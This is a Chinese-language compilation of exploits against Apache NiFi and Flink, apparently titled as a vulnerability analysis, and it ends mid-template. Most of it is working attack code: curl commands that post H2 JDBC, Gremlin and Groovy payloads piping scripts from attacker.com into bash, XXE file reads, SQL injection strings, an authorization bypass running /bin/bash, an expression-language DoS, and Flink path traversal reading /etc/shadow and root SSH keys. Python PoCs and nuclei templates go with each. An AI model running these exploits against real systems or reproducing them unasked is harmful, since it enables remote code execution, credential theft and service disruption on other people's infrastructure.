数据集成与流处理平台高危攻击链专题：Apache NiFi / Apache Flink / Apache Spark 漏洞全解析

jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/shell.sql'

jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS "//javascript\nvar cmd='curl http://attacker.com/shell.sh|bash';\njava.lang.Runtime.getRuntime().exec(cmd);\n"

CREATE ALIAS exec_cmd FOR "java.lang.Runtime.getRuntime().exec";
CALL exec_cmd('curl http://attacker.com/reverse.sh|bash');

# 方式 1: 通过 RUNSCRIPT FROM 远程加载（需要先在攻击机托管 shell.sql）
# 攻击机: python3 -m http.server 80

# shell.sql 内容:
# CREATE ALIAS exec_cmd FOR "java.lang.Runtime.getRuntime().exec";
# CALL exec_cmd('curl http://attacker.com/reverse.sh|bash');

# 在 NiFi Web UI 中将 DBCPConnectionPool 的 JDBC URL 设置为:
# jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com:80/shell.sql'

# 方式 2: 通过 CREATE TRIGGER 直接内联代码执行
curl -k -X POST "https://nifi-host:8443/nifi-api/controller-services" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <NIFI_TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.dbcp.HikariCPConnectionPool",
      "name": "MaliciousPool",
      "properties": {
        "Database Connection URL": "jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \"//javascript\\nvar cmd=\\x27curl http://attacker.com/reverse.sh|bash\\x27;\\njava.lang.Runtime.getRuntime().exec(cmd);\\n\"",
        "Database Driver Class Name": "org.h2.Driver"
      }
    }
  }'

#!/usr/bin/env python3
"""CVE-2023-34468 - Apache NiFi H2 JDBC Connection String RCE"""
import requests
import argparse
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def build_h2_init_payload(callback_url, method="trigger"):
    if method == "trigger":
        js_code = (
            f"var cmd='{callback_url}';"
            "java.lang.Runtime.getRuntime().exec(cmd);"
        )
        trigger_sql = f"CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \"//javascript\\n{js_code}\\n\""
        jdbc_url = f"jdbc:h2:mem:test;INIT={trigger_sql}"
    else:
        jdbc_url = f"jdbc:h2:mem:test;INIT=RUNSCRIPT FROM '{callback_url}'"
    return jdbc_url


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/controller-services"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            components = data.get("controllerServices", [])
            for comp in components:
                props = comp.get("component", {}).get("properties", {})
                db_url = props.get("Database Connection URL", "")
                if "h2:" in db_url.lower() and "INIT" in db_url:
                    return True, comp.get("component", {}).get("id")
            return len(components) > 0, None
        return False, None
    except Exception:
        return False, None


def exploit(target, callback_url, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/controller-services"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    jdbc_url = build_h2_init_payload(callback_url, method="trigger")
    payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.dbcp.HikariCPConnectionPool",
            "name": "CVE-2023-34468-PoC",
            "properties": {
                "Database Connection URL": jdbc_url,
                "Database Driver Class Name": "org.h2.Driver"
            }
        }
    }
    try:
        resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=10)
        return resp.status_code in (200, 201)
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-34468 NiFi H2 RCE PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token")
    parser.add_argument("--callback", help="回调 URL (默认: http://attacker.com/cmd)")
    args = parser.parse_args()

    vulnerable, cs_id = check(args.target, args.ssl, args.token)
    if vulnerable:
        print(f"[+] {args.target} 存在 CVE-2023-34468 漏洞风险")
        if cs_id:
            print(f"[*] 已有 HikariCP 连接池 ID: {cs_id}")
        if args.callback:
            print("[*] 尝试投递恶意 JDBC URL...")
            ok = exploit(args.target, args.callback, args.ssl, args.token)
            print(f"[+] Payload 投递{'成功' if ok else '失败'}")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2023-34468 漏洞")

id: cve-2023-34468-nifi-h2-rce
info:
  name: Apache NiFi H2 JDBC Connection String RCE
  author: security-researcher
  severity: high
  description: |
    Apache NiFi DBCPConnectionPool and HikariCPConnectionPool allow authenticated
    users to configure database URLs. Malicious H2 JDBC connection strings can
    execute arbitrary code via INIT clause.
  reference:
    - https://nifi.apache.org/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-94
  tags: cve,cve2023,nifi,h2,rce

http:
  - raw:
    - |
      GET /nifi-api/controller-services HTTP/1.1
      Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "controllerServices"
          - "Database Connection URL"
        condition: and
      - type: word
        words:
          - "h2:"
        part: body
        case-insensitive: true

  - raw:
    - |
      POST /nifi-api/controller-services HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/json

      {"revision":{"version":0},"component":{"type":"org.apache.nifi.dbcp.HikariCPConnectionPool","name":"nuclei-test","properties":{"Database Connection URL":"jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \"//javascript\\njava.lang.Runtime.getRuntime().exec('echo CVE-2023-34468');\\n\"","Database Driver Class Name":"org.h2.Driver"}}}

    matchers:
      - type: word
        words:
          - "controllerServices"
          - "id"
        condition: and
      - type: status
        status:
          - 200
          - 201

graph.traversal().V().sideEffect {
    "curl http://attacker.com/reverse.sh|bash".execute()
}

# 步骤 1: 以低权限用户身份创建 TinkerpopClientService
curl -k -X POST "https://nifi-host:8443/nifi-api/controller-services" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.tinkerpop.TinkerpopClientService",
      "name": "CVE-2026-39816-PoC"
    }
  }'

# 步骤 2: 启用该服务（低权限用户即可完成）
curl -k -X PUT "https://nifi-host:8443/nifi-api/controller-services/<SERVICE_ID>/run-status" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -d '{"revision": {"version": 1}, "component": {"id": "<SERVICE_ID>", "state": "ENABLED"}}'

# 步骤 3: 创建 ExecuteGraphQuery 处理器
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.tinkerpop.ExecuteGraphQuery",
      "name": "Exploit",
      "config": {
        "properties": {
          "Graph Client Service": "<SERVICE_ID>",
          "Gremlin Query": "graph.traversal().V().sideEffect{Runtime.getRuntime().exec(\"curl http://attacker.com/reverse.sh|bash\")}"
        }
      }
    }
  }'

#!/usr/bin/env python3
"""CVE-2026-39816 - Apache NiFi TinkerPop Groovy Code Execution Privilege Escalation"""
import requests
import argparse
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/process-groups/root"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            pg_id = data.get("component", {}).get("id")
            return pg_id is not None, pg_id
        return False, None
    except Exception:
        return False, None


def exploit(target, pg_id, command, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    base = f"{scheme}://{target}"

    # Step 1: Create TinkerpopClientService
    cs_url = f"{base}/nifi-api/controller-services"
    cs_payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.processors.tinkerpop.TinkerpopClientService",
            "name": "CVE-2026-39816-PoC"
        }
    }
    resp = requests.post(cs_url, headers=headers, json=cs_payload, verify=False, timeout=10)
    if resp.status_code not in (200, 201):
        return False
    cs_id = resp.json().get("component", {}).get("id")
    print(f"[+] Created TinkerpopClientService: {cs_id}")

    # Step 2: Enable the service
    enable_url = f"{base}/nifi-api/controller-services/{cs_id}/run-status"
    enable_payload = {
        "revision": {"version": 1},
        "component": {"id": cs_id, "state": "ENABLED"}
    }
    requests.put(enable_url, headers=headers, json=enable_payload, verify=False, timeout=10)

    # Step 3: Create ExecuteGraphQuery processor
    gremlin = (
        f'graph.traversal().V().sideEffect{{'
        f'"{command}".execute()}}'
    )
    proc_url = f"{base}/nifi-api/process-groups/{pg_id}/processors"
    proc_payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.processors.tinkerpop.ExecuteGraphQuery",
            "name": "CVE-2026-39816-Exploit",
            "config": {
                "properties": {
                    "Graph Client Service": cs_id,
                    "Gremlin Query": gremlin
                }
            }
        }
    }
    resp = requests.post(proc_url, headers=headers, json=proc_payload, verify=False, timeout=10)
    return resp.status_code in (200, 201)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-39816 NiFi TinkerPop RCE PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token (低权限即可)")
    parser.add_argument("--command", default="id", help="要执行的命令")
    args = parser.parse_args()

    accessible, pg_id = check(args.target, args.ssl, args.token)
    if accessible:
        print(f"[+] {args.target} NiFi API 可访问, Root PG: {pg_id}")
        print("[*] 尝试通过 TinkerPop 执行 Groovy 代码提权...")
        ok = exploit(args.target, pg_id, args.command, args.ssl, args.token)
        print(f"[+] 攻击{'成功' if ok else '失败'}")
    else:
        print(f"[-] {args.target} 无法访问或需要认证")

id: cve-2026-39816-nifi-tinkerpop-groovy-rce
info:
  name: Apache NiFi TinkerPop Groovy Code Execution Privilege Escalation
  author: security-researcher
  severity: high
  description: |
    Apache NiFi TinkerpopClientService lacks Restricted annotation,
    allowing low-privilege users to execute Groovy code via ExecuteGraphQuery.
  reference:
    - https://github.com/ZeroPathAI/nifi-CVE-2026-39816-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-862
  tags: cve,cve2026,nifi,tinkerpop,groovy,rce

http:
  - raw:
    - |
      GET /nifi-api/controller-services HTTP/1.1
      Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "controllerServices"
        part: body

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY xxe2 SYSTEM "http://attacker.com/steal?data=%xxe;">
]>
<root>
  <data>&xxe;</data>
</root>

# 步骤 1: 在攻击机托管恶意 XML 文件
cat > evil.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
EOF
python3 -m http.server 80

# 步骤 2: 配置 NiFi 处理器获取并解析恶意 XML
# 通过 NiFi API 配置 GetFile 处理器指向攻击机 XML 文件
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.standard.GetFile",
      "name": "XXE-Trigger",
      "config": {
        "properties": {
          "Input Directory": "/tmp",
          "File Name": "evil.xml"
        }
      }
    }
  }'

#!/usr/bin/env python3
"""CVE-2022-29265 - Apache NiFi XML External Entity Injection"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


XXE_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>"""

XXE_SSRF_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "{callback_url}">
]>
<root><data>&xxe;</data></root>"""


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/flow/process-groups/root"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def test_xxe_file_read(target, file_path="/etc/passwd", use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/flow/process-groups/root/processors"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.processors.standard.HandleHttpResponse",
            "name": "CVE-2022-29265-XXE",
            "config": {
                "properties": {
                    "Content Type": "application/xml"
                }
            }
        }
    }

    xxe_xml = (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<!DOCTYPE foo ['
        f'  <!ENTITY xxe SYSTEM "file://{file_path}">'
        ']>'
        '<root><data>&xxe;</data></root>'
    )

    try:
        resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=10)
        if resp.status_code in (200, 201):
            print(f"[+] NiFi API 可访问, XXE Payload 已构造")
            print(f"[*] Payload:\n{xxe_xml}")
            return True
        return False
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2022-29265 NiFi XXE PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token")
    parser.add_argument("--file", default="/etc/passwd", help="要读取的文件路径")
    args = parser.parse_args()

    if check(args.target, args.ssl, args.token):
        print(f"[+] {args.target} NiFi API 可访问")
        test_xxe_file_read(args.target, args.file, args.ssl, args.token)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2022-29265 漏洞")

id: cve-2022-29265-nifi-xxe
info:
  name: Apache NiFi XML External Entity Injection
  author: security-researcher
  severity: high
  description: Apache NiFi multiple components do not disable XML external entities by default.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-611
  tags: cve,cve2022,nifi,xxe

http:
  - raw:
    - |
      GET /nifi-api/flow/process-groups/root HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "processGroupFlow"
        part: body

SHOW BINARY LOGS;
SHOW BINLOG EVENTS IN 'logfile';
SELECT * FROM database.table WHERE ...;

test' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--

# 配置 CaptureChangeMySQL 处理器时注入恶意表名
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.capture.change.mysql.CaptureChangeMySQL",
      "name": "CVE-2026-44913-SQLi",
      "config": {
        "properties": {
          "MySQL Host": "target-db-host",
          "Database Name": "testdb",
          "Table Name": "test'\'' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--"
        }
      }
    }
  }'

#!/usr/bin/env python3
"""CVE-2026-44913 - Apache NiFi CaptureChangeMySQL SQL Injection"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SQLI_PAYLOADS = [
    "test' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--",
    "test' UNION SELECT 1,version(),3,4,5,6,7,8,9,10--",
    "test' UNION SELECT 1,@@datadir,3,4,5,6,7,8,9,10--",
    "test' UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9,10 FROM information_schema.schemata--",
]


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/flow/process-groups/root"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def exploit(target, pg_id, db_host, db_name, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/process-groups/{pg_id}/processors"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    for i, payload in enumerate(SQLI_PAYLOADS):
        proc_payload = {
            "revision": {"version": 0},
            "component": {
                "type": "org.apache.nifi.processors.capture.change.mysql.CaptureChangeMySQL",
                "name": f"CVE-2026-44913-SQLi-{i}",
                "config": {
                    "properties": {
                        "MySQL Host": db_host,
                        "Database Name": db_name,
                        "Table Name": payload
                    }
                }
            }
        }
        try:
            resp = requests.post(url, headers=headers, json=proc_payload, verify=False, timeout=10)
            if resp.status_code in (200, 201):
                print(f"[+] Payload {i+1} 投递成功: {payload[:50]}...")
                return True
        except Exception:
            continue
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-44913 NiFi SQL Injection PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token")
    parser.add_argument("--db-host", required=True, help="MySQL 数据库主机")
    parser.add_argument("--db-name", default="testdb", help="数据库名")
    args = parser.parse_args()

    if check(args.target, args.ssl, args.token):
        print(f"[+] {args.target} NiFi API 可访问")
        pg_id = "root"
        print("[*] 尝试通过 CaptureChangeMySQL 注入 SQL...")
        ok = exploit(args.target, pg_id, args.db_host, args.db_name, args.ssl, args.token)
        if not ok:
            print("[-] 所有 Payload 投递失败")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: cve-2026-44913-nifi-capture-mysql-sqli
info:
  name: Apache NiFi CaptureChangeMySQL SQL Injection
  author: security-researcher
  severity: high
  description: |
    CaptureChangeMySQL processor improperly escapes table names,
    allowing SQL injection via crafted table name parameters.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cwe-id: CWE-89
  tags: cve,cve2026,nifi,sqli

http:
  - raw:
    - |
      GET /nifi-api/flow/process-groups/root HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "processGroupFlow"
        part: body

# 构造包含受限组件的 Process Group 模板
cat > malicious_pg.json << 'EOF'
{
  "revision": {"version": 0},
  "component": {
    "name": "LegitimatePG",
    "processors": [
      {
        "revision": {"version": 0},
        "component": {
          "type": "org.apache.nifi.processors.script.ExecuteScript",
          "name": "CVE-2026-44914-Exploit",
          "config": {
            "properties": {
              "Script Engine": "Groovy",
              "Script Body": "runtime.exec('curl http://attacker.com/shell.sh|bash')"
            }
          }
        }
      }
    ]
  }
}
EOF

# 通过 API 替换 Process Group
curl -k -X PUT "https://nifi-host:8443/nifi-api/process-groups/<TARGET_PG_ID>" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -d @malicious_pg.json

#!/usr/bin/env python3
"""CVE-2026-44914 - Apache NiFi Process Group Replace Authorization Bypass"""
import requests
import argparse
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


RESTRICTED_PROCESSORS = [
    "org.apache.nifi.processors.script.ExecuteScript",
    "org.apache.nifi.processors.standard.ExecuteStreamCommand",
    "org.apache.nifi.processors.standard.PutFile",
]


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/flow/process-groups/root"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            pg_id = resp.json().get("component", {}).get("id")
            return True, pg_id
        return False, None
    except Exception:
        return False, None


def exploit(target, pg_id, command="id", use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/process-groups/{pg_id}"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    pg_payload = {
        "revision": {"version": 1},
        "component": {
            "id": pg_id,
            "name": "Replaced-PG",
            "processors": [
                {
                    "revision": {"version": 0},
                    "component": {
                        "type": "org.apache.nifi.processors.standard.ExecuteStreamCommand",
                        "name": "CVE-2026-44914-Exploit",
                        "config": {
                            "properties": {
                                "Command": "/bin/bash",
                                "Command Arguments": f"-c {command}"
                            }
                        }
                    }
                }
            ],
            "controllerServices": []
        }
    }

    try:
        resp = requests.put(url, headers=headers, json=pg_payload, verify=False, timeout=10)
        if resp.status_code == 200:
            print("[+] Process Group 替换成功，受限组件已绕过权限检查")
            return True
        print(f"[-] 替换失败: {resp.status_code}")
        return False
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-44914 NiFi PG Replace Auth Bypass")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token (低权限即可)")
    parser.add_argument("--command", default="id", help="要执行的命令")
    args = parser.parse_args()

    ok, pg_id = check(args.target, args.ssl, args.token)
    if ok:
        print(f"[+] {args.target} NiFi API 可访问, Root PG: {pg_id}")
        print("[*] 尝试通过 Process Group 替换绕过受限组件权限...")
        exploit(args.target, pg_id, args.command, args.ssl, args.token)
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: cve-2026-44914-nifi-pg-replace-auth-bypass
info:
  name: Apache NiFi Process Group Replace Authorization Bypass
  author: security-researcher
  severity: high
  description: |
    Replacing a Process Group does not check Restricted annotations
    on contained components, allowing privilege escalation.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-862
  tags: cve,cve2026,nifi,auth-bypass

http:
  - raw:
    - |
      GET /nifi-api/flow/process-groups/root HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "processGroupFlow"
        part: body

${literal('', length(stringBody(${literal('', length(stringBody('A'))}))})):repeat(10000)}

# 通过 NiFi API 配置包含恶意 EL 表达式的处理器
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.attributes.UpdateAttribute",
      "name": "CVE-2023-34467-DoS",
      "config": {
        "properties": {
          "dos_payload": "${literal(\"\" ):repeat(100000)}"
        }
      }
    }
  }'

#!/usr/bin/env python3
"""CVE-2023-34467 - Apache NiFi Expression Language Denial of Service"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


DOS_EXPRESSIONS = [
    '${literal(""):repeat(100000)}',
    '${literal("", length(stringBody("A"))):repeat(50000)}',
    '${"AAAA":substring(0, length(stringBody("B"))):repeat(80000)}',
]


def check(target, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/flow/process-groups/root"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def exploit(target, pg_id, use_ssl=False, token=None):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/nifi-api/process-groups/{pg_id}/processors"
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.processors.attributes.UpdateAttribute",
            "name": "CVE-2023-34467-DoS",
            "config": {
                "properties": {
                    "dos_field": DOS_EXPRESSIONS[0]
                }
            }
        }
    }

    try:
        resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=10)
        return resp.status_code in (200, 201)
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-34467 NiFi EL DoS PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--token", help="NiFi API Token")
    args = parser.parse_args()

    if check(args.target, args.ssl, args.token):
        print(f"[+] {args.target} NiFi API 可访问")
        print("[*] 警告: 此 PoC 可能导致目标服务不可用")
        print("[*] 尝试投递 DoS Payload...")
        pg_id = "root"
        ok = exploit(args.target, pg_id, args.ssl, args.token)
        print(f"[+] Payload 投递{'成功' if ok else '失败'}")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2023-34467 漏洞")

id: cve-2023-34467-nifi-el-dos
info:
  name: Apache NiFi Expression Language Denial of Service
  author: security-researcher
  severity: medium
  description: |
    Apache NiFi Expression Language engine lacks recursive depth limits,
    allowing denial of service via nested expressions.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
    cvss-score: 5.3
    cwe-id: CWE-400
  tags: cve,cve2023,nifi,dos

http:
  - raw:
    - |
      GET /nifi-api/flow/process-groups/root HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "processGroupFlow"
        part: body

%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd
↓ Web 服务器解码
%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2fetc%2fpasswd
↓ 应用层解码
///////////etc/passwd

# 读取 /etc/passwd
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd"

# 读取 /etc/shadow（需要 root 权限的进程）
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fshadow"

# 读取 SSH 私钥
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252froot%252f.ssh%252fid_rsa"

# 读取云平台元数据（AWS）
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fvar%252flib%252fcloud%252finstances"

#!/usr/bin/env python3
"""CVE-2020-17519 - Apache Flink REST API Directory Traversal File Read"""
import requests
import argparse
import urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


TARGET_FILES = [
    "/etc/passwd",
    "/etc/hosts",
    "/proc/self/environ",
    "/root/.ssh/id_rsa",
    "/proc/version",
]


def build_traversal_path(file_path):
    encoded = urllib.parse.quote(file_path, safe="")
    double_encoded = urllib.parse.quote(encoded, safe="")
    traversal = "%252f" * 10 + double_encoded.lstrip("%252f").lstrip("%2f")
    return traversal


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/jobmanager/logs/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def read_file(target, file_path, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    traversal = build_traversal_path(file_path)
    url = f"{scheme}://{target}/jobmanager/logs/{traversal}"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200 and len(resp.text) > 0:
            return resp.text
        return None
    except Exception:
        return None


def exploit(target, use_ssl=False):
    print(f"[*] 正在对 {target} 执行 CVE-2020-17519 目录遍历...")
    for file_path in TARGET_FILES:
        content = read_file(target, file_path, use_ssl)
        if content:
            print(f"[+] 成功读取 {file_path}:")
            print(f"--- BEGIN {file_path} ---")
            print(content[:500])
            print(f"--- END {file_path} ---\n")
        else:
            print(f"[-] 无法读取 {file_path}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-17519 Flink Directory Traversal PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--file", help="自定义文件路径")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} Flink REST API 可访问")
        if args.file:
            content = read_file(args.target, args.file, args.ssl)
            if content:
                print(f"[+] 读取成功:\n{content}")
            else:
                print(f"[-] 无法读取 {args.file}")
        else:
            exploit(args.target, args.ssl)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2020-17519 漏洞")

id: cve-2020-17519-flink-directory-traversal
info:
  name: Apache Flink REST API Directory Traversal
  author: security-researcher
  severity: critical
  description: |
    Apache Flink REST API allows unauthenticated directory traversal
    via double URL encoding to read arbitrary files.
  reference:
    - https://flink.apache.org/news/2021/01/05/release-1.11.3.html
  classification:
